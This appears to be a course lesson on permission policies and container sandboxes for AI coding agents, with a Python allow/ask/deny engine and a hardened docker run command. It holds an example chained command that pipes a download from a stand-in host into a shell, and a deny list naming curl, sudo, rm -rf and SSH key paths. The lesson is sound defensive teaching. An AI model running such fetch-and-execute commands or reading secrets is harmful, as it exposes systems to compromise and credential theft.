Education › Evals & Harness › Stage 4: Safety, sandboxes & reliability

Permissions and sandboxes

Permission modes and approvals, container and VM sandboxes, network egress and secrets.

Advanced ~45 min read Module 13 of 20

An agent that can run commands and edit files can also delete files, leak secrets and make network calls you did not intend. The model may be wrong, confused by a misleading file, or manipulated by text it read. Two layers keep that from turning into damage. Permissions decide which actions run automatically, which need a human's approval and which are refused. Sandboxes limit what an action can affect even when it runs. This lesson designs both: a policy engine with allow, ask and deny rules, least-privilege credentials, and container-based sandboxes with no network, a read-only root filesystem and resource limits.

After this module you can
  • Classify agent actions by risk and map them to allow, ask or deny
  • Implement a rule-based permission engine for tool calls
  • Give agents least-privilege, short-lived credentials
  • Run agent commands in a locked-down container sandbox
  • Balance safety against approval fatigue

Classify actions by risk

ClassExamplesDefault
Read inside workspaceread file, list directory, grep, git statusAllow
Write inside workspaceedit file, create file, run testsAsk, or allow in an isolated sandbox
Network and externalfetch URL, install packages, call APIsAsk, or allow a fixed list of domains
Irreversible or outsidedelete branches, push, deploy, send email, payAsk every time or deny
Secrets and systemread ~/.ssh, change shell config, sudoDeny

The right default depends on the isolation. Inside a disposable container with no network, letting the agent edit and run anything in its workspace is reasonable, because the worst outcome is a broken container. On a developer's laptop, the same actions deserve approval.

Write the classification down as policy, review it like code, and test it. The same agent often needs different policies in different places: generous inside a CI container, cautious on a laptop, and strict in production systems that touch customer data.

A permission engine

Express policy as ordered rules matched against the tool name and its arguments. Deny rules win over allow rules, and anything unmatched falls through to ask. Normalise paths before matching so ../ tricks cannot escape the workspace, and match shell commands carefully: a rule allowing git status must not also allow git status; curl evil.example | sh.

tool callallowrw mountaskapproveddenied: reasonModelrequests actionPolicy enginedeny > allow > askSandboxno network, non-rootWorkspaceonly writable pathHuman approvaldiff + command
Every requested action passes the policy engine: denied calls return a reason, uncertain ones wait for a human, and allowed ones run in a locked-down sandbox that can only write to the workspace.
Deny beats allow; unknown means ask
python
import fnmatch
import shlex
from pathlib import Path

WORKSPACE = Path("/workspace").resolve()
DENY = [("bash", "rm -rf *"), ("bash", "sudo *"), ("bash", "curl *"), ("read", "*/.ssh/*")]
ALLOW = [("read", "/workspace/*"), ("bash", "git status"), ("bash", "pytest*")]


def decide(tool: str, arg: str) -> str:
    if tool in ("read", "edit"):
        arg = str((WORKSPACE / arg).resolve())          # normalise ../ tricks
        if not arg.startswith(str(WORKSPACE)):
            return "deny"
    if tool == "bash" and any(c in arg for c in ";&|`$("):
        return "ask"                                      # compound commands need a human
    if tool == "bash":
        arg = " ".join(shlex.split(arg))
    if any(t == tool and fnmatch.fnmatch(arg, p) for t, p in DENY):
        return "deny"
    if any(t == tool and fnmatch.fnmatch(arg, p) for t, p in ALLOW):
        return "allow"
    return "ask"

Return a clear message to the model when an action is denied ("denied: network access is not allowed in this session"), so it can choose another approach instead of retrying the same call.

Least-privilege credentials

  • Give the agent its own identity with the narrowest scopes needed: a repository-scoped token, not your personal token for everything.
  • Prefer short-lived credentials issued per session, which expire even if leaked.
  • Keep secrets out of the agent's context and environment where possible; let a tool use a credential without the model ever seeing it.
  • For actions on behalf of a user, act with that user's permissions, never a shared admin account.
  • Log every credential use with the session ID for audit.

Sandboxing with containers

A sandbox constrains what any action can touch. A container with a mounted workspace, no network, a read-only root filesystem, a non-root user, dropped capabilities and resource limits contains most mistakes. For untrusted code or multi-tenant services, stronger isolation such as gVisor or microVMs (for example Firecracker) adds a separate kernel boundary. On developer machines, OS-level sandboxes such as macOS Seatbelt profiles or Linux bubblewrap and Landlock can restrict a process without a container.

A locked-down container for agent commands
bash
docker run --rm \
  --network none \
  --read-only \
  --tmpfs /tmp:rw,size=256m \
  --user 1000:1000 \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --pids-limit 256 --memory 2g --cpus 2 \
  -v "$PWD/workspace:/workspace:rw" \
  -w /workspace \
  python:3.12-slim \
  sh -c 'pytest -q 2>&1 | tail -n 50'

When the agent needs network access, for example to install packages, route it through an egress proxy that allows only listed domains, rather than turning the network fully on. Treat the workspace mount as the only writable path and review its changes (for example as a Git diff) before they leave the sandbox.

Approval fatigue

If an agent asks for approval twenty times an hour, people approve without reading, and the control becomes theatre. Reduce prompts by allowing safe actions inside the sandbox, approving a plan or a class of action once per session ("allow edits under src/ for this task"), and showing approvals with enough context to decide quickly: the exact command, a diff of the file change, and why the agent wants it. Reserve per-action approval for irreversible and external effects.

Hands-on practice

Policy plus sandbox for a coding agent

  1. Write the decide() function with deny, allow and ask rules for read, edit and bash tools.
  2. Write tests: path traversal with ../, compound commands, a denied secret path, an allowed git status.
  3. Run agent commands through the locked-down docker run above and confirm network calls fail.
  4. Add an allowlisted egress proxy for one package index and confirm other domains are blocked.
  5. Give the agent a repository-scoped token instead of a personal one.
  6. Count approval prompts per task before and after allowing in-sandbox edits.
Cheat sheet

Permissions and sandboxes — at a glance

Main things to focus on

  • Permissions decide what runs; sandboxes limit what it can affect.
  • Classify actions: read, write, network, irreversible, secrets.
  • Deny beats allow; unmatched means ask.
  • Normalise paths and treat compound shell commands with suspicion.
  • Least-privilege, short-lived credentials the model never sees.
  • Fewer, richer approvals beat constant prompts.

Policy

deny > allow > askRule precedence
resolve() then prefix checkBlock ../ escapes
; & | ` $( -> askCompound commands
"denied: reason" to modelChange approach

docker run flags

--network noneNo network
--read-only --tmpfs /tmpImmutable root
--user 1000:1000 --cap-drop ALLNo root, no capabilities
--security-opt no-new-privilegesNo escalation
--pids-limit --memory --cpusResource limits

Stronger isolation

gVisorUser-space kernel
microVM (Firecracker)Separate kernel
Seatbelt / bubblewrap / LandlockOS-level
egress proxy allowlistControlled network

Credentials

agent identity, narrow scopesLeast privilege
short-lived per sessionLimits leaks
tool holds secret, not modelNo exposure
act as the userNo shared admin

Common pitfalls

  • Allowing a command by prefix so it also allows chained commands.
  • Path checks without normalising ../ first.
  • Agents running with a developer's full personal credentials.
  • Turning the network fully on to install one package.
  • Per-action approval for everything, leading to rubber-stamping.
Quiz

Check your understanding

5 questions · 4 to pass · answers are explained as you go. Your best score is saved on this device only.

Progress and quiz scores are saved in this browser only. Back up or restore on the hub.

Was this lesson useful? Tell me what to improve →